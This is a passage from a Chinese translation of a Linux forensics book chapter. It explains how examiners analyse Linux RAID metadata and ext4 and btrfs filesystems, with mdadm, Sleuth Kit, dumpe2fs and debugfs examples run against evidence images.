用于 RAID 的磁盘可能具有标准 Linux RAID 分区类型的分区表。对于 GPT 分区表,Linux RAID 的 GUID 是A19D880F-05FC-4D3B-A006-743F0F84911E(或在磁盘上写入的字节为0F889DA1-FC05-3B4D-A006-743F0F84911E)。

对于 DOS/MBR 分区表,Linux RAID 的分区类型是 0xFD。取证工具将会在每个属于 RAID 系统的磁盘上找到这些分区。

来自 Linux RAID 系统的每个设备都有一个超级块(不要与文件系统超级块混淆,它们是不同的),该块包含有关设备和阵列的信息。现代 Linux RAID 设备上md超级块的默认位置是从分区开始的八个扇区。我们可以通过魔术字符串 0xA92B4EFC 来识别它。你可以使用十六进制编辑器或mdadm命令来查看这个超级块信息,方法如下:

   # mdadm --examine /dev/sda1
   /dev/sda1:
             Magic : a92b4efc
           Version : 1.2
       Feature Map : 0x0
➊ Array UUID : 1412eafa:0d1524a6:dc378ce0:8361e245
           ➋ Name : My Big Storage
  ➌ Creation Time : Sun Nov 22 13:48:35 2020
        Raid Level : raid5
      Raid Devices : 3

    Avail Dev Size : 30270751 (14.43 GiB 15.50 GB)
        Array Size : 30270464 (28.87 GiB 31.00 GB)
     Used Dev Size : 30270464 (14.43 GiB 15.50 GB)
       Data Offset : 18432 sectors
      Super Offset : 8 sectors
      Unused Space : before=18280 sectors, after=287 sectors
             State : clean
    ➍ Device UUID : 79fde003:dbf203d5:521a3be5:6072caa6

    ➎ Update Time : Sun Nov 22 14:02:44 2020
     Bad Block Log : 512 entries available at offset 136 sectors
          Checksum : 8f6317ee - correct
            Events : 4

            Layout : left-symmetric
        Chunk Size : 512K

       Device Role : Active device 0
       Array State : AAA ('A' == active, '.' == missing, 'R' == replacing)

这个输出包含了几个可能在取证检查中有用的证据。Array UUID ➊将标识整个 RAID 系统,每个属于此 RAID 的磁盘(包括以前更换的磁盘)将在其超级块中拥有相同的 UUID 字符串。NameMy Big Storage) ➋可以由管理员指定或自动生成。Device UUID ➍唯一标识单个磁盘。创建时间戳 ➌ 表示阵列的创建日期(新更换的磁盘将继承原始阵列的创建日期)。Update Time ➎表示由于某些文件系统事件,超级块最后一次更新的时间。

阵列中的磁盘可能不是所有都具有相同的大小。在取证检查中,这可能是重要的。在这个例子中,三个设备各自使用 15.5GB 来生成一个 31GB 的 RAID5 阵列。然而,这里显示的设备(sdc)大小为 123.6GB:

# mdadm --examine /dev/sdc1
/dev/sdc1:
...
 Avail Dev Size : 241434463 (115.12 GiB 123.61 GB)
     Array Size : 30270464 (28.87 GiB 31.00 GB)
 Used Dev Size : 30270464 (14.43 GiB 15.50 GB)
   Data Offset : 18432 sectors
...

这个示例中的设备比阵列中的其他成员要大得多,这表明这个驱动器上有超过 100GB 的未触碰数据。可以对这个区域进行取证检查,以查找以前存储的数据。

阵列设备通常呈现为/dev/md#/dev/md/#/dev/md/NAME的形式,系统管理员可以在创建时指定#NAME。这些 Linux 内核设备仅在运行系统上存在,但在事后取证检查中,它们可能会出现在日志中;例如:

Nov 22 11:48:08 pc1 kernel: md/raid:md0: Disk failure on sdc1, disabling device.
                            md/raid:md0: Operation continuing on 2 devices.
...
Nov 22 12:00:54 pc1 kernel: md: recovery of RAID array md0

在这里,一个 RAID5 系统中的硬盘出现故障,内核生成了一条信息,随后保存到了日志中。在故障硬盘被替换后,内核生成了有关恢复的消息。

内核应该在启动时自动扫描并识别 Linux RAID 设备。然而,它们也可以在单独的配置文件中定义。在检查 RAID 系统时,检查 /etc/mdadm.conf 文件(或 /etc/mdadm.conf.d/ 目录中的文件)中是否有未注释的 DEVICEARRAY 行。有关更多信息,请参阅 mdadm.conf(5) 手册页。

如果先前故障的硬盘能够被物理定位,它们仍然可能是可读取的。故障或更换的硬盘包含了某一时刻的数据快照,并可能与取证调查相关。

传统 RAID 在企业 IT 环境中的未来正受到多个因素的影响。大容量商品硬盘(截至目前,18TB 硬盘已经可用)需要更多时间来重新同步和重建。在某些情况下,这可能需要数天才能完成,具体取决于硬盘的大小和速度。现在,逐渐转向使用廉价 PC 集群(类似于 PC 的 RAID)来实现性能和冗余的数据复制。使用 SSD 代替旋转磁盘也降低了故障风险(没有移动的机械部件)。

文件系统取证分析

本节介绍了所有 Unix 类文件系统通用的文件系统概念。分析示例使用 TSK 进行说明,但所有技术都应该能够使用流行的商业数字取证工具进行实现。Linux 支持数十种文件系统,本文展示的分析方法可以应用于其中大多数文件系统。

Linux 文件系统概念

文件系统的概念在 Unix 和 Linux 中是核心和基础。当 Ken Thompson 开始创建 Unix 的第一个版本时,他首先设计了文件系统,并发展出了“所有事物皆文件”的概念。这个想法使得通过文件系统树中的文件可以访问一切,包括硬件设备、进程、内核数据结构、网络、进程间通信,当然,还有常规的文件和目录。

POSIX 描述的基本文件类型将在下一章中讨论,包含常规文件、目录、符号链接、命名管道、设备和套接字。当我在本章中提到文件类型时,我指的是 Unix 文件系统和 POSIX 文件类型,而不是应用程序文件类型,如图像、视频或办公文档。

硬盘驱动器和 SSD 配备了集成电子设备,创建了一个连续扇区序列的抽象(逻辑块访问,简称 LBA)。硬盘上的分区可能包含文件系统,这些文件系统位于从零扇区开始的已知偏移位置。一个文件系统使用一组连续的扇区来形成一个块(通常为 4KB 大小)。一个或多个块(不一定是连续的)形成文件的数据内容。

每个文件都会被分配一个编号(在文件系统中唯一),称为inode。分配给每个文件的块以及其他元数据(权限、时间戳等)都存储在inode 表中。文件名并不在 inode 中定义,而是作为条目列在目录文件中。这些目录条目将文件名链接到 inode,创建了一个虚拟的文件系统树结构。熟悉的完整文件“路径”(/some/path/file.txt)并不存储在任何地方,而是通过遍历文件和根目录(/)之间链接的目录文件名来计算得出的。

块和 inode 的分配状态存储在位图中,并在文件创建或删除时更新。图 3-2 展示了这些抽象层次。

图片

图 3-2:文件系统抽象。(这是一个简化视图,不包括块组、冗余、可扩展性及其他特殊功能。)

传统的文件系统是在旋转的磁性盘片时代设计的,当时磁头通过机械臂进行读取/写入操作。性能优化和故障容错是必要的,通常通过在磁盘上将块和 inode 分组来实现。

一些原始文件系统设计决策(例如,与机械旋转盘片和寻址驱动头相关的性能优化)在 SSD 中是多余的,但它们今天仍然存在。现代文件系统具有额外的功能,如日志记录,以确保在崩溃事件中数据的一致性,或者它们使用扩展(一系列连续块)来替代单个分配块的列表。此外,每个文件系统可能都有自己独特的功能和属性,这些功能和属性在数字取证环境中可能会很有意思(例如,ext4 文件系统有最后挂载时间戳和路径)。

网络文件系统(NFS、CIFS/Samba 等)、FUSE 和伪文件系统(/proc//sys/ 等)具有类似于其他文件系统的树/文件表示。然而,这些内容超出了本书的范围,因为它们无法像物理存储一样进行事后分析。

Unix 和 Linux 世界中的大多数文件系统遵循相同的一般设计概念,这使得将相同的数字取证分析方法应用于多个文件系统变得更加容易。

Linux 文件系统中的取证痕迹

文件系统分析的第一步是确定正在检查的是哪个文件系统。如前所述,分区表可以提供一些线索,但分区类型的正确性并不是一个要求;因此,需要一种更可靠的方法。

大多数文件系统可以通过文件系统开头的几个字节来识别,这些字节被称为 魔术字符串签名。如果你的取证工具无法自动确定文件系统,你可以手动搜索这个签名(例如,使用 TSK 的 sigfind 命令)。文件系统的规范定义了这个魔术数。你还可以使用其他工具,如 disktype 或 TSK 的 fsstat 来识别文件系统。如果已知的魔术字符串位于分区中的预期偏移位置,那么它是文件系统存在的良好指示。

超级块 是描述整体文件系统的文件系统元数据。根据文件系统的不同,它可能包含与取证相关的项目,包括:

  • 系统所有者指定的标签或卷名称

  • 唯一标识符(UUID/GUID)

  • 时间戳(文件系统创建、最后挂载、最后写入和最后检查)

  • 块的大小和数量(有助于识别卷剩余空间)

  • 挂载次数和最后的挂载点

  • 其他文件系统特性和配置

大多数取证工具,包括 fsstat,都会显示这些信息。文件系统通常附带调试和故障排除工具,这些工具可能会显示更多技术信息。

inode 结构也依赖于文件系统,并定义每个文件可用的元数据。这可能包含与取证相关的项目,包括:

  • POSIX 文件类型

  • 权限和所有权

  • 多个时间戳(众所周知的 MACB,可能还有其他)

  • 大小和块(表示文件剩余空间的可能性)

  • 其他标志和属性

查找文件系统 inode 结构信息的最权威地方是该项目本身的开发者文档或实现的源代码。

其他取证数据与存储内容有关。了解驱动器上有内容的区域可以帮助检查人员进行恢复和提取。一些驱动器上的定义和取证兴趣区域包括:

扇区 驱动器上最小的可访问单元

一组连续的扇区,是文件系统上最小的可访问单元

扩展 一组连续的文件系统块(大小可变)

已分配块 已分配给文件的文件系统块

未分配块 未分配给文件的文件系统块(可能包含已删除文件的数据)

当文件被删除时,它会被取消链接,inode 和关联的数据块会被标记为未分配并且可以重新使用。在磁盘驱动器上,已删除文件的数据会继续存在于盘片上,直到这些块被覆盖,这意味着数据可以通过取证工具恢复。在 SSD 上,操作系统可能会发送一个命令(TRIM 或 DISCARD)到驱动器固件,指示它擦除数据,为下一次写入做准备。^(7) 这减少了从 SSD 的未分配区域恢复已删除数据的可能性。

间隙间隙空间是取证中用来描述驱动器上额外未使用区域的术语,这些区域理论上可以存储数据:

卷间隙 文件系统末尾和分区末尾之间的区域

文件间隙 文件末尾和块末尾之间的区域

RAM 或内存间隙 文件末尾和扇区末尾之间的区域

分区间隙 驱动器上不属于任何已定义分区的区域(可能是已删除的分区)

现在,操作系统在处理丢弃数据时更加谨慎。TRIM 和 DISCARD 命令用于擦除 SSD 存储单元,4KB 原生扇区(最小可寻址单元)大小与文件系统块大小相同。这些因素导致间隙空间作为证据来源的效用降低。

列出并提取数据

文件系统取证分析的一部分是能够恢复文件(包括已删除的文件)和恢复文件片段(间隙或未分配区域)。这是每个计算机取证工具包的正常功能。让我们通过使用 TSK 来查看一些小例子。

首先,让我们检查扇区、块、inode 和文件名之间的关系。这些示例使用基本的数学或 TSK 工具来回答以下问题:

  • 我知道驱动器的扇区。文件系统块是什么?(扇区 - 分区偏移) * 扇区大小 / 块大小

  • 我知道文件系统块。它位于哪个扇区?(块 * 块大小 / 扇区大小) + 分区偏移

  • 这个文件系统块(123)是否已分配?blkstat partimage.raw 123

  • 我知道一个已分配的块(456)。它的 inode 是什么?ifind -d 456 partimage.raw

  • 我知道一个文件的 inode。显示文件的元数据(和使用的块):istat partimage.raw 789

  • 我知道一个文件的 inode。文件名是什么?ffind partimage.raw 789

  • 我知道文件名。它的 inode 是什么?ifind -n "hello.txt" partimage.raw

注意

确保你使用的是正确的单位!根据工具的不同,单位可以是字节、扇区或块。

TSK 有用于分析驱动器镜像和文件系统的工具。在使用文件系统分析工具时,需要知道文件系统的位置。文件系统取证工具可以从分区设备文件(/dev/sda1)或提取的分区镜像(partimage.raw)读取数据,或者通过为附加驱动器或驱动器镜像文件指定扇区偏移(通常使用-o标志)。

我们可以使用 TSK 的fls工具列出文件系统上所有已知的文件(包括已删除的文件)。在以下示例中,-r标志递归列出所有目录中的文件,-p显示完整路径(-l标志将包含时间戳、大小和所有权信息)。

$ fls -r -p partimage.raw
...
r/r 262172:   etc/hosts
d/d 131074:   var/cache
...
r/r 1050321:  usr/share/zoneinfo/Europe/Vaduz
r/r 1050321:  usr/share/zoneinfo/Europe/Zurich
...
r/r * 136931(realloc): var/cache/ldconfig/aux-cache~
r/r 136931:   var/cache/ldconfig/aux-cache
...
V/V 1179649:  $OrphanFiles
-/r * 655694: $OrphanFiles/OrphanFile-655694
...

这个命令在我的测试系统上找到了超过 45,000 个文件,我挑选了一些例子来解释输出。更多信息请参见 TSK 维基(github.com/sleuthkit/sleuthkit/wiki/fls/)。第一列(r/rd/d,等等)表示从目录条目和 inode 中识别出的文件类型。例如,/etc/hosts是一个常规文件(r),输出显示为r/r。第一个r是从/etc/目录条目确定的,第二个r是从/etc/hosts元数据(inode)中确定的。与 Linux 相关的^(8)文件类型在 TSK 维基中有文档说明,下面展示了:

r/r 常规文件
d/d 目录
c/c 字符设备
b/b 块设备
l/l 符号链接
p/p 命名 FIFO
h/h 套接字

斜杠两边的破折号(-/-)表示未知的文件类型(即无法在目录条目或 inode 中找到)。文件类型后面的数字表示 inode 编号。注意,两个文件可能共享相同的 inode(VaduzZurich)。这些是硬链接文件。星号(*)表示已删除的文件。如果一个文件被删除并且 inode 编号被重新使用(重新分配)给一个新文件,则会显示(realloc)(这也可能发生在文件重命名时)。如果文件被删除且没有文件名信息(只有 inode 数据),它将在 TSK 的\(OrphanFiles*虚拟目录中列出。TSK 可能会显示附加信息,文件或目录类型为`v/v`或`V/V`,但这些名称是虚拟的,并不存在于正在分析的文件系统中。用于*\)OrphanFiles虚拟目录的 inode 编号来源于最大 inode 数加一。

我们还可以使用 TSK 命令从文件系统中提取内容。以下是一些示例:

  • 基于 inode 编号提取文件(使用-s包括空闲空间):icat partimage.raw 1234

  • 基于文件名提取文件(使用-s包括空闲空间):fcat hello.txt /dev/sda1

  • 提取文件系统块(带偏移量和块数量):blkcat partimage.raw 56789 1

  • 提取所有未分配的文件系统块:blkls partimage.raw

  • 提取所有文件的空闲空间(来自已分配的块):blkls -s partimage.raw

  • 使用dd提取一个驱动器扇区(增加count提取更多扇区):dd if=image.raw skip=12345 count=1

始终将提取的输出通过管道或重定向到程序或文件(使用|>),否则你会弄乱你的 shell/终端,甚至可能执行不需要的命令。

为了便于参考,我已将所有 TSK 命令按分析或提取功能分组,见下表:

  • 法医图像:img_catimg_stat

  • 分区:mmcatmmlsmmstat

  • 文件系统信息:fsstatpstat

  • 文件系统块:blkcalcblkcatblklsblkstat

  • 文件名:fcatffindflsfiwalk

  • inode:icatifindilsistat

  • 时间线:mactimetsk_gettimes

  • 搜索和排序:sigfindsortersrch_stringstsk_comparedirtsk_loaddbtsk_recoverhfind

  • 文件系统日志:jcatjlsusnjls

你可以在 man 页中找到更多信息。(Debian 项目有一些额外的 man 页,这些并未包含在 TSK 软件包中。)

大多数商业取证工具都会执行这些任务。如前所述,对于不受支持的文件系统,替代方案是文件系统开发者通常提供的调试和故障排除工具。这些将在接下来的 ext4、btrfs 和 xfs 部分中使用。

ext4 分析

Linux 文件系统中最古老且最流行的之一是 扩展文件系统,或称 ext。每个现代 Linux 发行版都支持 ext4,并且许多发行版在安装过程中将其指定为默认文件系统。由于 ext(2、3 和 4)的普及,许多商业取证工具支持 ext4。TSK(和 Autopsy)支持它,还有许多其他 ext4 故障排除、调试和数据恢复工具可用。

Ext4 是一个可扩展的文件系统,支持日志记录,基于扩展,并支持目录级加密。更多信息请参见 ext4(5) man 页。

与其他流行的 Linux 文件系统相比,ext4 在超级块中包含更多可能在调查中有用的取证信息。然而,它也在删除过程中消除了更多的信息痕迹,这使得恢复删除文件变得更加困难。

文件系统元数据:超级块

超级块从文件系统开始的字节偏移量 1024(0x400)处开始。ext2、ext3 和 ext4 的魔术字符串是 0xEF53(三个版本都相同)。魔术字符串的位置位于超级块的字节偏移量 56(0x38)处,因此,它距离文件系统开始的字节偏移量为 1080(0x438)。它以小端字节序写入磁盘:

00000438: 53ef S.

ext4 超级块包含时间戳、唯一标识符、特性和描述性信息,这些在取证检查中可能非常有用。例如:

  • 文件系统创建时间戳

  • 文件系统上次挂载时间戳

  • 文件系统上次检查时间戳(fsck

  • 超级块上次写入时间戳

  • 用户指定的卷名称或标签(最大 16 个字符)

  • 唯一的卷 UUID

  • 创建操作系统:如果不是 Linux,可能表示其他操作系统参与了(0 = Linux,3 = FreeBSD)

  • 上次挂载的目录:如果这不是标准位置,用户可能在系统上手动创建了挂载点

  • 自上次 fsck 后挂载的次数:对于外部驱动器,这可能是文件系统使用频率的指示器

  • 文件系统生命周期内写入的 KiB 数量:这可以提供文件系统过去“忙碌”程度的线索

在某些情况下(例如数据盗窃),文件系统生命周期中写入的 KiB 数量可能很有趣,尤其是在大量文件被复制到外部媒体时。如果写入的总字节数与所有文件的总大小相同,则表示文件系统没有用于其他任何用途。如果驱动器具有 SMART 功能,可以使用Total LBAs Written属性来比较驱动器上的数据量与驱动器生命周期内写入的数据量(类似的分析也可以通过Total LBAs Read属性进行)。

商业法医工具应该支持 ext4 超级块的分析;否则可以使用fsstatdumpe2fs工具(e2fsprogs软件包的一部分)也会显示有关超级块的详细信息。在这个示例中,使用的是一个分区的法医镜像(partimage.raw),-h标志指定了超级块的头部信息:

$ dumpe2fs -h partimage.raw
dumpe2fs 1.46.2 (28-Feb-2021)
Filesystem volume name:  TooManySecrets
Last mounted on:         /run/media/sam/TooManySecrets
Filesystem UUID:         7de10bcf-a377-4800-b6ad-2938bf0c08a7
Filesystem magic number: 0xEF53
...
Filesystem OS type:      Linux
Inode count:             483328
Block count:             1933312
...
Filesystem created:      Sat Mar 13 07:42:13 2021
Last mount time:         Sat Mar 13 08:33:42 2021
Last write time:         Sat Mar 13 08:33:42 2021
Mount count:             16
Maximum mount count:     -1
Last checked:            Sat Mar 13 07:42:13 2021
...

输出中已删除一些记录,以突出可能在法医调查中有用的文物。如果用户指定了卷名称(TooManySecrets),它可能提供对内容的描述(从用户的角度来看)。Last mounted on:记录显示了文件系统最后挂载的目录。在法医调查中,这对于外部驱动器尤其有意义,因为它可以将驱动器与某个 Linux 系统上的挂载点或用户关联。挂载点可以由用户手动创建,或由磁盘管理器临时创建。在前面的示例中,文件系统最后挂载在/run/media/sam/TooManySecrets,这表明用户 Sam 可能通过磁盘管理器在他们的桌面系统上挂载了它。^(9) 有关超级块结构的权威文档,请参见 www.kernel.org/doc/html/latest/filesystems/ext4/globals.html

TSK 的fsstat工具也可以显示超级块信息,但比dumpe2fs的显示内容要少一些;例如:

$ fsstat partimage.raw
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name: TooManySecrets
Volume ID: a7080cbf3829adb64877a3cf0be17d

Last Written at: 2021-03-13 08:33:42 (CET)
Last Checked at: 2021-03-13 07:42:13 (CET)

Last Mounted at: 2021-03-13 08:33:42 (CET)
Unmounted properly
Last mounted on: /run/media/sam/TooManySecrets

Source OS: Linux
...

完整的输出将描述块组和分配信息。在许多法医检查中,块分配信息并不是得出调查结论所必需的(但仍可以在法医报告的附录中提供)。

注意dumpe2fsFilesystem UUIDfsstatVolume ID是同一个十六进制字符串的不同表示方式。

文件元数据:Inodes

ext4 中的 inode 结构文档化良好,具有许多从数字取证角度来看很有趣的字段。

文件大小和块数是指定的。这些通常不会完全相同,除非文件大小是块大小的整数倍。任何位于文件最后一个块末尾的超出部分数据都被称为文件松弛区。

额外的标志被指定在 inode 中。例如,0x80 的标志表示文件访问时间不应更新。0x800 的标志表示 inode 块已加密。^(10)

文件模式定义了权限(所有者、组和其他的读、写、执行权限)和特殊位(SetUID、SetGID 和粘滞位)。模式还指定了文件类型(常规文件、目录、符号链接、FIFO、套接字以及字符设备和块设备)。

扩展属性(如 ACL)不存储在 inode 中,而是存储在一个单独的数据块中。inode 有指向该数据块的指针。

文件所有权由所有者(UID)和组(GID)定义。最初这是 16 位,最多允许 65,535 个用户和组。后来分别为 UID 和 GID 分配了两个额外的字节(但存储在 inode 的不同位置),使得 UID 和 GID 变为 32 位。

五个时间戳(M、A、C、B 和 D)存储在 ext4 的 inode 中:

  • 最后数据修改时间(mtime

  • 最后访问时间(atime

  • 最后 inode 修改时间(ctime

  • 创建时间(crtime,有时称为“出生”时间戳)

  • 删除时间

删除时间戳仅在 inode 从已分配变为未分配时设置。

历史上,时间戳是 32 位长,包含从 1970 年 1 月 1 日到 2038 年 1 月 19 日之间的秒数。现代系统需要更高的分辨率(纳秒),并且需要超越 2038 年。为了解决这个问题,ext4 为每个时间戳添加了额外的四个字节。这额外的 32 位被分为两部分,2 位表示 2038 年之后的时间,30 位提供更高的分辨率(更精确的时间)。

你可以使用 TSK 的istat工具查看 ext4 inode 信息:

$ istat partimage.raw 262172
inode: 262172
Allocated
Group: 32
Generation Id: 3186738182
uid / gid: 0 / 0
mode: rrw-r--r--
Flags: Extents,
size: 139
num of links: 1

Inode Times:
Accessed:       2020-03-11 11:12:37.626666598 (CET)
File Modified:  2020-03-11 11:12:34.483333261 (CET)
Inode Modified: 2020-03-11 11:12:34.483333261 (CET)
File Created:   2020-03-11 11:03:19.903333268 (CET)

Direct Blocks:
1081899

该输出显示了 inode 的状态(已分配)、所有权和权限、四个时间戳以及使用的块。

另外,我们可以使用debugfse2fsprogs的一部分)来获取更多信息。以下是使用已删除文件的示例。-R标志表示请求,而不是只读(默认是只读),"stat <136939>"参数请求获取 inode 136939 的 stat 信息,命令作用于取证映像文件partimage.raw

$ debugfs -R "stat <136939>" partimage.raw
debugfs 1.45.6 (20-Mar-2020)
Inode: 136939  Type: regular  Mode: 0000  Flags: 0x80000
Generation: 166965863  Version: 0x00000000:00000001
User:     0  Group:    0   Project:     0   Size: 0
File ACL: 0
Links: 0  Blockcount: 0
Fragment: Address: 0  Number: 0  Size: 0
 ctime: 0x5e68c4bb:04c4b400 -- Wed Mar 11 12:00:11 2020
 atime: 0x5e68c4ba:9a2d66ac -- Wed Mar 11 12:00:10 2020
 mtime: 0x5e68c4ba:9a2d66ac -- Wed Mar 11 12:00:10 2020
crtime: 0x5e68c4ba:9a2d66ac -- Wed Mar 11 12:00:10 2020
 dtime: 0x5e68c4bb:(04c4b400) -- Wed Mar 11 12:00:11 2020
Size of extra inode fields: 32
Inode checksum: 0x95521a7d
EXTENTS:

这是一个已删除文件的 inode,包含五个时间戳,包括删除时间。请注意,EXTENTS: 行之后没有块信息。当文件在 ext4 上被删除时,先前使用的块会从未使用的 inode 中移除。这意味着使用一些传统的取证技术可能无法恢复文件。

列出并提取文件

上一节使用 TSK 在 ext4 上列出和提取文件的示例,因此我将在这里提供另一种方法。debugfs工具可以完成 TSK 能做的大部分事情;例如:

  • 列出目录内容,包括已删除的文件(非递归):debugfs -R "ls -drl" partimage.raw

  • 通过指定 inode 提取文件内容(类似于icat):debugfs -R "cat <14>" partimage.raw

  • 提取 i 节点元数据(类似于 istat):debugfs -R "stat <14>" partimage.raw

  • 提取 i 节点元数据作为十六进制转储(类似于 istat,但为原始数据):debugfs -R "inode_dump <14>" partimage.raw

<14> 符号表示一个 i 节点(本示例中为 14)。也可以指定文件路径:

$ debugfs -R "ls -drl /Documents" partimage.raw
debugfs 1.45.6 (20-Mar-2020)
     12   40750 (2)      0   0  4096 30-Nov-2020 22:35 .
      2   40755 (2)      0   0  4096 30-Nov-2020 22:39 ..
     13  100640 (1)      0   0    91 30-Nov-2020 22:35 evilplan.txt

输出显示包含 i 节点、大小、时间戳和文件名的文件列表。

debugfs 输出可以在终端中显示,或者重定向到取证分析机器上的文件中。这里,前面示例中的文件(evilplan.txt)正在通过 debugfs 显示:

$ debugfs -R "cat <13>" partimage.raw
debugfs 1.45.6 (20-Mar-2020)

this is the master plan to destroy all copies of powerpoint.exe across the
entire company.

文件的内容被发送到终端(stdout),并可以重定向到文件或通过管道传送给程序。debugfs 版本字符串会显示在终端上,但不会添加到文件中或发送给程序(这是 stderr 输出)。

ext4 的另一个对取证检查员很有意思的特性是加密子目录。我们将在本章结束时探讨 ext4 子目录的识别和解密。

ext4 规范已发布在内核文档网站上,网址为 www.kernel.org/doc/html/latest/filesystems/ext4/index.html

有关数字取证的更多信息,也有多篇关于 ext4 取证的研究论文:

btrfs 分析

Chris Mason 最初在 Oracle 工作时开发了 btrfs,并于 2007 年在 Linux 内核邮件列表(LKML)上发布。那时,Linux 社区需要一种比逐渐老化的 ext3 更强大的文件系统,出于种种原因,ReiserFS 和 zfs 在当时并不是可行的选择。从那时起,btrfs 成为 Linux 内核的主线部分,并逐渐获得了更广泛的应用。如今,SUSE 和 Fedora 将 btrfs 作为默认文件系统,Facebook 在内部使用它,像 Synology 这样的存储公司也依赖它。

btrfs 的众多现代特性之一是多设备管理、子卷和 CoW 快照。由于这些特性,btrfs 不需要像 LVM 那样的独立卷管理层。今天,btrfs 正在积极开发,新增的功能列在 btrfs 官方主页 btrfs.wiki.kernel.org/index.php/Main_Page

截至目前,数字取证工具对 btrfs 的支持较差。大多数主要的取证分析套件不支持 btrfs,即使是 TSK 目前也没有对 btrfs 的支持。GitHub 上有几个针对 TSK btrfs 支持的实验性和研究实现,包括一个较旧的 TSK 拉取请求以添加支持(github.com/basicmaster/sleuthkit/),以及一个独立工具,它使用 TSK 库并模仿 TSK 命令(github.com/shujianyang/btrForensics/)。这些工具可能适用于你的 btrfs 文件系统,也可能不适用,所以请自行承担使用风险。

在本节中,我们将使用来自 btrfs 项目团队(btrfs-progs软件包)的工具组合,以及 Fraunhofer FKIE 在 2018 年 DFRWS USA 会议上发布的研究成果(www.sciencedirect.com/science/article/pii/S1742287618301993/)。你可以从github.com/fkie-cad/sleuthkit/下载一个带有 btrfs 支持补丁的 TSK 分支版本。

本节中展示的示例使用了多种工具和技术。每个工具可能需要不同的访问方式来访问 btrfs 文件系统。为了避免混淆,以下是示例中使用的设备、文件和目录名称:

image.raw 一份法医采集的原始镜像文件(使用文件系统的扇区偏移)

partimage(X).raw 单独提取的分区镜像文件,仅包含文件系统

/dev/loopX 一个块设备(在/dev/中)物理连接或使用回环设备(losetup

/evidence/ 一个挂载的 btrfs 文件系统的路径

pool/poolm/ 一个包含一个或多个 btrfs 分区镜像文件的池目录

文件和目录的路径被认为是相对于当前工作目录的。

文件系统元数据:超级块

可以通过超级块中的魔术字符串来识别 btrfs 文件系统。主 btrfs 超级块位于文件系统起始位置的字节偏移量 65536(0x10000)。在 512 字节扇区的硬盘上,这将是分区起始位置的第 128 个扇区。用于识别 btrfs 文件系统的 8 字节魔术字符串是_BHRfS_M,并且在这里展示了它的十六进制表示:

5F 42 48 52 66 53 5F 4D _BHRfS_M

这个魔术字符串位于超级块的字节偏移量 64(0x40),即从包含文件系统的分区起始位置的字节偏移量 65600(0x10040)。在所有磁盘扇区中搜索该魔术字符串可能会揭示超级块的镜像副本或其他 btrfs 文件系统以供分析。

Fraunhofer FKIE TSK fork 向文件系统命令添加了几个新的标志。预计 btrfs 分区的法医镜像会在一个池目录中找到(在以下示例中称为pool/),并通过-P标志指定。在这个示例中,使用fsstat输出超级块,其中包含几个法医关注的项目:

   $ fsstat -P pool/
➊ Label:                   My Stuff
➋ File system UUID:        EA920473-EC49-4F1A-A037-90258D453DB6
   Root tree root address:  5406720
   Chunk tree root address: 1048576
   Log tree root address:   0
➌ Generation:              20
   Chunk root generation:   11
   Total bytes:             4293898240
   Number of devices:       1

➍ Device UUID:             22D40FDB-C768-4623-BCBB-338AC0744EC7
   Device ID:               1
➎ Device total bytes:      4293898240
➏ Device total bytes used: 457179136

   Total size: 3GB
   Used size: 38MB

➐ The following subvolumes or snapshots are found:
   256       Documents
   257       Videos
   259       .snapshot
   260       Confidential

用户可以选择一个标签➊(最多 256 个字符),这可能是调查中的一个有用的痕迹。第一个 UUID ➋是 btrfs 文件系统的唯一标识符,第二个 UUID ➍是 btrfs 驱动器设备的唯一标识符。驱动器的总容量➎与已使用的容量➏一起显示。这些字节总数应该与在检查过程中收集的其他容量痕迹相关联(例如,分区表)。Generation ➌随着新更改的更新,文件系统知道哪个副本(在所有冗余副本中)是最新的。最后,显示一个子卷和快照的列表➐(这些在下面的单独部分中有描述)。

btrfs 命令btrfs inspect-internal dump-super partimage.raw提供相同的信息,并且还包含一些额外的统计数据和标志(对于大多数法医调查来说,这些信息不太有用)。btrfs inspect-internal命令可以分析有关文件系统的多种低级技术特征以及如何在驱动器上存储这些结构。有关更多信息,请参见 btrfs-inspect-internal(8)手册页。与 ext4 不同,btrfs 超级块不包含任何时间戳。

文件元数据:Inodes

btrfs inode 结构在 kernel.org网站上有文档说明(* btrfs.wiki.kernel.org/index.php/Data_Structures#btrfs_inode_ref *)。与 ext4 和 xfs 不同,btrfs inode 包含最少的信息,并将一些关于文件的信息推送到不同的树形结构中。btrfs inode 的内容包括以下信息:

generation    变更增量计数器

transid    事务 ID

size    文件大小(以字节为单位)

nbytes    分配块的大小(以字节为单位)(目录为 0)

nlink    链接数

uid    文件所有者

gid    文件组

mode    权限

rdev    如果 inode 是设备,包含主设备号/次设备号

flags    inode 标志(列在下一段)

sequence    用于 NFS 兼容性(初始化为 0,每次mtime值更改时递增)

atime    最后访问时间戳

ctime    最后 inode 变更时间戳

mtime    最后文件内容变更时间戳

otime    inode 创建时间戳(文件创建时间)

这些项大多数是熟悉的,并且可以在其他文件系统中找到。NFS 兼容性序列号在每次内容更改时递增(mtime)。在调查中,知道一个文件被修改了多少次(或修改得很少)可能很有趣。它还可能指示文件或目录过去的修改“忙碌”程度,或者与其他文件相比的变化情况。

inode 标志^(11)提供了施加于文件的附加属性。btrfs 文档在 inode 结构中定义了以下标志:

NODATASUM    不对该 inode 执行校验和操作

NODATACOW    当引用计数为 1 时,不对该 inode 上的数据扩展执行写时复制(CoW)

READONLY    Inode 是只读的,无论 Unix 权限或所有权如何(被IMMUTABLE所取代)

NOCOMPRESS    不压缩该 inode

PREALLOC    Inode 包含预分配的扩展

SYNC    对该 inode 的操作将同步执行

IMMUTABLE    Inode 是只读的,无论 Unix 权限或所有权如何

APPEND    Inode 为追加只用

NODUMP    该 inode 不会成为使用dump(8)程序转储的候选项

NOATIME    不更新atime(最后访问时间戳)

DIRSYNC    目录操作将同步执行

COMPRESS    该 inode 启用了压缩

NOATIME属性可能会影响取证分析,因为最后访问的时间戳不再由内核设置。

转储 btrfs 中文件的完整 inode 信息取决于取证工具的支持。例如,Fraunhofer FKIE 的istat工具显示最少的信息(-P标志将在下一节中解释):

$ istat -P pool/ 257
Inode number: 257
Size: 29
Name: secret.txt

Directory Entry Times(local);
Created time:  Sun Nov 29 16:55:34 2020
Access time:   Sun Nov 29 16:56:41 2020
Modified time: Sun Nov 29 16:55:25 2020

这种细节级别可能对某些调查来说已经足够。若需要更多详细信息,btrfs 的inspect-internal命令提供了更多信息:

$ btrfs inspect-internal dump-tree pool/partimage.raw
...
   item 8 key (257 INODE_ITEM 0) itemoff 15721 itemsize 160
           generation 10 transid 12 size 29 nbytes 29
